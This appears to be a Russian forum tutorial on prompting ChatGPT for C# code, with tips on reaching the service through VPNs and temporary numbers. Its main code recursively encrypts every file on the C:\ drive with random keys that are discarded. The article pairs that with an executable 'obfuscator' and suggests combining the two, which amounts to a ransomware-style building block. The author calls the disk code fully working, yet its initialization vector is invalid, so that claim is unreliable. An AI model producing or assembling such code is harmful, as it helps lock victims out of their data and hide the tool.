Введение
В последнее время нейросети все больше и больше проникают в нашу повседневную жизнь. Зачастую они упрощают нашу работу, а бывает и вовсе заменяют ее. Давай вспомним название самых популярных творений из этой темы. Наиболее узнаваемая нейронка это ChatGPT. С ее помощью можно создавать различные тексты, задавать различные вопросы и даже писать код. О последней особенности этого творения мы сегодня и поговорим.
План работы
Любую работу стоит начать с плана. Первым делом я расскажу тебе немного подробностей о самой нейронной сети (версия, дата создания и другие подробности). Далее я покажу как правильно составлять вопросы или задачи к ней, чтобы получить наиболее благоприятный ответ. Также рассмотрим решение нескольких задач на языке C# (шифрование диска и файлов, а также создание окон без возможности их скрыть) и оценим уровень кодинга нашего ChatGPT. Приступим.
Немного теории
ChatGPT - искусственный интеллект разработанный компанией
Ссылка скрыта от гостей
с целью общения и решения сложных задач. Работает в диалоговом режиме и поддерживает несколько тысяч языков для общения. Использует языковую модель GPT 3.5 и в скором времени перейдет на версию GPT-4, пока что она находится в закрытом бета-тесте. Сам ИИ был запущен 30 ноября 2022 года и привлекла множество людей своими возможностями. Спектр реакций ограничен и нейросеть может только поощрять или осуждать оппонента.Как ты понимаешь, такая нейросеть становится самым настоящим прорывом для человечества и играет роль хорошего помощника. Теперь давай разберемся как начать общение с таким собеседником.
Методы общения
Для нашей страны я нашел два варианта общения с разными ограничениями. По своей сути и принципу работы они ни чем не отличаются. Для первого варианта тебе потребуется под рукой Telegram, а для другого всего лишь браузер со встроенным VPN и заграничный номер. Также расскажу немного о секретом способе, но с небольшими ограничениями.Первый способ: его преимущества в том, что работа происходит на официальном сайте, для этого регистрируемся на
Ссылка скрыта от гостей
, в качестве почты советую использовать
Ссылка скрыта от гостей
или
Ссылка скрыта от гостей
, отечественные варианты не подойдут. Всю работу выполняем под VPN, далее заказываем временный номер на любом, удобном тебе сайте и ждем уведомление с кодом для подтверждения. В результате у нас появится новый аккаунт и возможность общаться с нейросетью напрямую.Второй способ: если ты работаешь с компьютера или ноутбука, то качаем Telegram Desktop с
Ссылка скрыта от гостей
. После проходим регистрацию или авторизацию. Далее переходишь по этой ссылке и начинаешь общаться. Из ограничений это 30 вопросов в день. Думаю тебе этого будет достаточно.Третий способ: он является самым простым, но от части кривым и урезанным. Просто открываешь браузер и переходишь на
Ссылка скрыта от гостей
. Готово! Задавай свой вопрос и чат-бот ответит на него. В день доступно 10 попыток, но никто не запрещает использовать прокси сервера или VPN сервисы.Программируем при помощи ChatGPT
Для работы потребуется сама нейронная сеть и умение правильно составлять запросы. С первым мы разобрались, теперь давай рассмотрим, как правильно с ней общаться. Я использую версию из Telegram, на языковой системе GPT-3.5. Вот пример диалога с ChatGPT:
Что касается самого кода, то здесь следует как можно точнее составлять запрос. Пример верного и не верного составления запроса ты можешь увидеть ниже:
- Какой метод шифрования самый надежный?
- Расскажи о надежном и безопасном методе шифрования данных.
"Существует множество методов шифрования, но ни один из них не может быть назван абсолютно надежным. Каждый метод имеет свои сильные и слабые стороны, и выбор конкретного метода зависит от конкретной задачи и уровня безопасности, который требуется достичь."
Также ChatGPT имеет память и способен запоминать твои запросы. Давай перейдем к части программирования. Рассмотрим задачу для решения:
- Требуется написать программу на языке программирования C#, которая может шифровать диски и отдельные файлы AES с использованием случайного ключа генерации.
- Напиши код на C#, в которой пользователь выбирает файл для защиты от взлома и код защищает этот файл при помощи AES и генерации случайного ключа
C#:
using System;
using System.IO;
using System.Security.Cryptography;
class Program
{
static void Main(string[] args)
{
// Запрос пути к файлу для защиты
Console.WriteLine("Введите путь к файлу для защиты:");
string filePath = Console.ReadLine();
// Генерация случайного ключа
byte[] key = new byte[32];
using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider())
{
rng.GetBytes(key);
}
// Шифрование данных в файле с использованием AES
byte[] encrypted = EncryptFileToBytes_Aes(filePath, key);
// Запись зашифрованных данных в файл с расширением ".encrypted"
string encryptedFilePath = Path.ChangeExtension(filePath, ".encrypted");
File.WriteAllBytes(encryptedFilePath, encrypted);
Console.WriteLine("Файл успешно защищен и сохранен по пути: {0}", encryptedFilePath);
}
static byte[] EncryptFileToBytes_Aes(string filePath, byte[] key)
{
byte[] encrypted;
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.GenerateIV();
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (FileStream fsInput = new FileStream(filePath, FileMode.Open))
{
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
fsInput.CopyTo(csEncrypt);
}
encrypted = msEncrypt.ToArray();
}
}
}
// Добавление вектора инициализации к зашифрованным данным
byte[] result = new byte[aesAlg.IV.Length + encrypted.Length];
Buffer.BlockCopy(aesAlg.IV, 0, result, 0, aesAlg.IV.Length);
Buffer.BlockCopy(encrypted, 0, result, aesAlg.IV.Length, encrypted.Length);
return result;
}
}
Предлагаю тебе проанализировать этот код. Для этого запускаем Vsual Studio и закидываем туда весь код. Теперь проверяем диалоговое окно и видим несколько ошибок. Переходим к комментарию вектора инициализации и видим, что эта часть кода запускается вне цикла. Чтобы это исправить переносим последние строчки кода в using (Aes aesAlg = Aes.Create()), после этого тестируем.
Теперь усложним задачу и попробуем зашифровать диск, который введет пользователь. Для работы можно использовать рекурсивный метод поиска файлов, но наша задача заключается в том, чтобы правильно поставить цель чат-боту. Для этого ты должен составить и отправить такой запрос:
- Напиши код на C#, который ищет все файлы на диске и применяет к ним AES с генерацией случайного ключа.
C#:
using System;
using System.IO;
using System.Security.Cryptography;
class Program
{
static void Main(string[] args)
{
string path = @"C:\"; // путь к диску, на котором нужно найти файлы
string[] files = Directory.GetFiles(path, "*", SearchOption.AllDirectories); // поиск всех файлов на диске
foreach (string file in files)
{
byte[] key = new byte[32]; // создание массива байтов для ключа шифрования
using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider())
{
rng.GetBytes(key); // генерация случайного ключа
}
byte[] iv = Encoding.UTF8.GetBytes("my secret iv"); // вектор инициализации
using (Aes aes = Aes.Create())
{
aes.Key = key;
aes.IV = iv;
using (FileStream inputFileStream = new FileStream(file, FileMode.Open))
{
using (FileStream outputFileStream = new FileStream(file + ".aes", FileMode.Create))
{
using (CryptoStream cryptoStream = new CryptoStream(outputFileStream, aes.CreateEncryptor(), CryptoStreamMode.Write))
{
inputFileStream.CopyTo(cryptoStream);
}
}
}
}
}
Console.WriteLine("Encryption complete."); // сообщение об окончании шифрования
Console.ReadLine(); // ожидание нажатия клавиши для завершения программы
}
}
Теперь, чтобы сделать код полностью функциональным следует использовать дополнительный модуль из библиотеки System. Добавляем в самое начало такие строки:
C#:
using System.Text;
Готово! Теперь код полностью рабочий и может спокойно шифровать целые диски используя AES. Более подробное описание кода от самого ChatGPT я оставил ниже.
"Этот код использует классы Aes, Encoding, FileStream, CryptoStream и RNGCryptoServiceProvider для шифрования каждого найденного файла на диске. Для генерации случайного ключа используется класс RNGCryptoServiceProvider. Результат шифрования сохраняется в новый файл с расширением .aes. После завершения шифрования выводится сообщение об окончании работы программы."
Теперь, чтобы добавить нашему творению безопасности дополнительно создадим код для обфускации. Для этого будем использовать самые простые методы. Чтобы получить корректный ответ от нейросети я составил такой запрос:
- Напиши код на C#, который проводит обфускацию программы надежным методом. В коде пользователь указывает путь до исполняемого файла, для обфускации.
C#:
using System;
using System.IO;
using System.Reflection;
using System.Text;
namespace Obfuscator
{
class Program
{
static void Main(string[] args)
{
// Получаем путь до исполняемого файла
string path = args[0];
// Читаем содержимое файла
byte[] bytes = File.ReadAllBytes(path);
// Производим обфускацию
bytes = Obfuscate(bytes);
// Записываем измененный файл
File.WriteAllBytes(path, bytes);
}
static byte[] Obfuscate(byte[] bytes)
{
// Производим замену названий переменных
bytes = ReplaceVariables(bytes);
// Добавляем "мусорный" код
bytes = AddJunkCode(bytes);
// Шифруем конфиденциальную информацию
bytes = Encrypt(bytes);
return bytes;
}
static byte[] ReplaceVariables(byte[] bytes)
{
// Здесь происходит замена названий переменных на более сложные и непонятные
return bytes;
}
static byte[] AddJunkCode(byte[] bytes)
{
// Здесь добавляется "мусорный" код
return bytes;
}
static byte[] Encrypt(byte[] bytes)
{
// Здесь происходит шифрование конфиденциальной информации
return bytes;
}
}
}
Переменная args подразумевает использование консоли для запуска такого скрипта, поэтому чтобы все работало корректно тебе следует использовать терминал Windows и команду start после которой указываешь название твоего скрипта и путь к файлу для обфускации. Подробности о работе кода я оставил ниже.
"Этот код читает содержимое файла, производит обфускацию и записывает измененный файл. В функциях ReplaceVariables, AddJunkCode и Encrypt можно реализовать соответствующие методы обфускации."
Как объединить первый и второй скрипт в единый решать уже тебе, ну а я лишь показал какими методами можно упрощать программирования используя всеми известный ChatGPT.
Подводим итоги
Теперь ты знаешь, что для программирования действительно качественных программ не обязательно перекапывать весь Stack Overflow и часами танцевать с бубном у компьютера. Злоупотреблять возможностями нейронной сети все же не стоит, поскольку код не всегда правильный и порой появляются ошибки. Поэтому всегда перепроверяй все при помощи метода уточки или того же Visual Studio.
Последнее редактирование модератором: